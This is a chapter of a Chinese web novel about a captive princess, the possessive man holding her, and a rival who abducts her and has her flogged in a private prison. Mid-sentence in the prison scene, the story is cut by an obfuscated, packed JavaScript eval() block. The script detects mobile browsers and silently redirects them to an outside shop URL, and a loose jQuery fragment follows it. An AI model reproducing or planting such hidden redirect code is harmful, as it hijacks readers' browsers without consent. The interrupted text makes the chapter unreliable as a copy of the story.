殿内,凤浅慕端坐在椅子上,殿门少见地大开着,却又美中不足地蒙上一层薄纱,让透入的阳光变得不清晰。
齐安匆匆赶来,正巧碰上凤浅慕垂下眼睫盯着地上跃动的光影,殿中是罕见的恬静。
凤浅慕正发愣,忽而整个人被黑影笼罩,抬起头正对上齐安的双眼,她轻嗅了嗅,闻到一丝甜腻的糕点香。
齐安俯下身与她平视,温声道:“睡得还安稳吗?”
“一般。”凤浅慕垂着眼,晃动腕上的铁链,“我不喜欢熏香。”
齐安恍然大悟似得应了一声:“我记住了。”
他从怀中取出钥匙,打开了凤浅慕身上的铁链,只留下一条用于束缚她灵力的手镣。
凤浅慕的手被他紧紧握在掌心,她咬着自己的舌尖,压下胃里翻涌的酸水,忍住心底的抗拒。
齐安见她没有抗拒的意思,更是变本加厉,颤着手细细描摹她的每一根手指,声音中带上兴奋:“外头都备好了,不知公主殿下是否满意。”
她起身,却在行至殿门处时停下,挑开蒙住殿门的薄纱,阳光一下子洒在她的身上,逼得她不得不暂时闭上眼睛。
这样温暖的阳光于她而言真是好久不见了。
凤浅慕盯着齐安的眼睛往外踏出一步,在确认没有被阻拦后,干脆利落地踏出了殿门。
院子里放置了不少花草,不知何时还扎了个秋千,一旁的桌上放置着茶点,面上倒是一派温馨。
凤浅慕坐在秋千上,齐安在她身后轻轻推着,秋千荡起小小的弧度,像他心中的小小涟漪。
此时,一个宫女又端着一盘糕点走来,经齐安示意后,将糕点捧到凤浅慕面前。
齐安偏头观察她的神色,道:“尝尝看,我问过曾经照顾你的老嬷嬷,她说你以前最爱吃这个,看看合不合口味。”
凤浅慕正一点点寻找着荧惑,或是他派来的人的踪迹,却总是寻不到。她握紧拳头,不相信荧惑会放心地任由齐安囚禁她,连一个手下都不派来。
正烦恼着,被他这么一句话唤回了神智。
凤浅慕接过宫女手中的糕点,放在自己膝上,却是没动。
“没放不该放的东西。”齐安担心她误会。
凤浅慕轻轻应了一声,她倒不是因为这个才不动,只是单纯地不想吃,想着自己身后还站着个人,她什么都吃不下。
但她还是顺着齐安的意吃了一口,只是就这么一口下去,就害得她更没有胃口,手中的糕点实在太甜,甜得甚至有些腻。
齐安看着凤浅慕面无表情地将糕点一口口吃干净,递上一方锦帕:“怎么样,喜欢吗?”
“嗯。”凤浅慕应了一声后,低头用帕子将手擦干净,再抬头时脸上带着一抹笑,“好吃的。”
齐安也笑了,他伸手将凤浅慕嘴角蹭上的残渣擦去,道:“那就好。”
凤浅慕却是不再吃了,只是晃晃悠悠地荡着秋千,顺便寻找着想要的人的踪迹。
终于,她在一处不起眼的屋顶看见一人正紧盯着她所在的方向,于是她朝着那人露出了一个挑衅的笑,甚至还往后靠了靠,离齐安更近些,再抬了抬腕间仅剩的脆弱手镣。
荧惑站在房顶,喘着粗气看着阳光下的二人,竟从中看出一丝温和宁静,他忍了又忍还是没忍住:“服了。”
他就知道齐安突然派他在午后巡营是不安好心,他刚出城不到半刻,便有人向他禀报,待他赶来,恰好撞见这么一副美景。
他只嗤笑一声,随后离开。
凤浅慕看着那人离开,倒也不急,反正她的目的已经达到,想到这,她的心情都好了些。
“公主殿下。”齐安整个人都僵硬了,只是机械地继续着手上的动作,许久才找回自己的声音,“殿下想听我说话吗?”
凤浅慕声音轻快了些:“说。”
“只要你不走,你想要什么我都可以给你,你只需要待在这,就能永远过安逸的生活。”齐安的指尖缠上一缕头发,他盯着那缕头发,笑得开怀。
也不知是不是处在阳光下,他身上的阴翳被驱散,终于显出一些少年气:“况且,只要在我身边,就没有人可以伤害你,我们一直这样,好不好。”
凤浅慕压下心底的烦躁,随手将那碟糕点放在一边,而后快步回了屋子,没有理会身后神情逐渐变得失落的齐安。
齐安看着自己指尖的几根断发,长叹一口气。
他也知道凤浅慕不爱听他说这种话,可他总是忍不住,他总是害怕她会离开,但她现在能这样已经很好。
总有一天,他会将人心甘情愿的留在身边。
深夜,皇宫中已然熄灯,却有两处仍是灯火通明,一处是正在议事的文华殿,一处是凤浅慕所处的凤阳宫。
凤阳宫殿门大开,凤浅慕仍是端坐在椅子上,纱帘在此时撤下,让她能将整个院子尽收眼底。
几个宫女你看看我,我看看你,无一人敢上前劝凤浅慕早些休息,正在此时,凤阳宫大门被人猛地踹开,荧惑面无表情地走了进来,看着坐在正中的凤浅慕时,脚步一顿。
“终于来了,等你很久了。”凤浅慕盯着他,连表情都没变。
她早就准备好了,今晚,赌命。
那几个宫女却是惊呼一声,而后就想要偷偷跑去给齐安报信,却在下一刻被钉在原地,动弹不得。
荧惑身后跟着不少人,他只抬抬手,那些人就将凤浅慕团团围住,将人架去了他的私牢
荧惑手中举着软鞭,在被铁链吊起双手的凤浅慕面前左右踱步。
凤浅慕看着他这个样子,挑眉道:“你把我绑过来,齐安知道吗?”
“现在是我审你,你没有提问的资格。”荧惑冷冷看她一眼,“说,人呢?”
“谁?”
荧惑道:“凤汐芷,和你那个侍从。”
凤浅慕道:“杀了,然后抛尸荒野。除了这个,你还想从我口中听见什么答案,你还想听什么,我都可以说给你听啊。”
鞭子狠狠抽在她身上,白衣立即浮现血痕,凤浅慕咬着后槽牙忍住口中的痛呼,只用一双带着血丝的眼睛盯着荧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779825|207365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惑。
荧惑道:“我只想听真相。”
“这就是真相。”凤浅慕轻笑,“是能从我口中听见的唯一答案。”
“既然你不想说这个,那我们就换个话题。”荧惑用鞭子抬起她的下巴,“不如,来聊聊林槐教了你什么。”
凤浅慕悬在半空的拳头倏然握紧,声音也沉下来:“你是什么东西,也配提我师傅的名字。”
于是又是两鞭,狠狠抽在她身上,她却是眼睛都没眨,仍是死死地盯着荧惑,恨不得将他剥肉拆骨。
荧惑俯视她,道:“林槐脾气差,教出来的徒弟也倔,九泉之下,记得替我向他问好。”
“闭嘴。”
荧惑嗤笑,将手中的鞭子放在一边,有人将她放下按在长椅上,另有两人举着庭杖上前。
“敬酒不吃吃罚酒,我愿意问你,愿意同你聊天,是给你面子,你什么都不肯说,那我也没办法,我用刑时你就老老实实受着,我可不会像那个傻子一样手下留情。”
庭杖砸在她的身上,发出闷响,似乎还带着脆响,在安静的狱中显得有些骇人。
荧惑闭着双眼站在一边,指尖随着有节奏的闷响一下一下地戳着眉心,只是不等行刑完毕,便有人匆匆从外走来,附在荧惑耳边低声说了几句。
荧惑睁眼,看向来人:“就发现了?”
他轻啧了一声,叫停了正在杖责的人,而后快步离开。
凤浅慕四肢绵软无力,被人架起丢在牢房中也是一动不动,任由几人用铁链将她的手脚都束缚住。
狱中又恢复安静,只有守卫巡视时的脚步声。
黑暗中,却有一双眼睛猝然睁开。
凤阳宫,齐安一脸阴鸷地看着荧惑,他的身后跪着四个瑟瑟发抖的宫女。
齐安道:“人呢?”
荧惑道:“我说过,别被我发现她,你耳根子软,她说什么就做什么,也不怕有朝一日她会取走你的项上人头,但我怕,我当然选择用我自己的方法处理。”
齐安掐着他的脖子,再一拳砸在他的肩上,怒吼道:“我只问你人在哪,回答我!”
荧惑被他突如其来的一下弄得一个趔趄,但片刻后也不甘示弱地锤了回去:“死了!死了可以了吧!”
齐安生生挨住他这一拳,口中咳嗽不止,他抬起一只手,颤抖地指着荧惑:“你撒谎。”
荧惑理了理衣服,站直身体:“当然没死,我还要从她口中问出凤汐芷的下落,等我问出来,我一定会把她杀了。所以,你干脆从现在开始就当她死了。”
齐安道:“有什么可问的,那些人算个什么东西,我只要有她就可以了,你把她还给我。”
“不给。”荧惑看着他这个样子,翻了个白眼,“你真寄希望于那个女人肚子里现在都还没成型的孩子?那个孩子生不生得下来都另说,就算生下来,你确定能当你的傀儡?”
齐安道:“人在哪里。”
“我是不会说的,你若是再多问,惹得我不快,我回去就把她杀了。”
“……”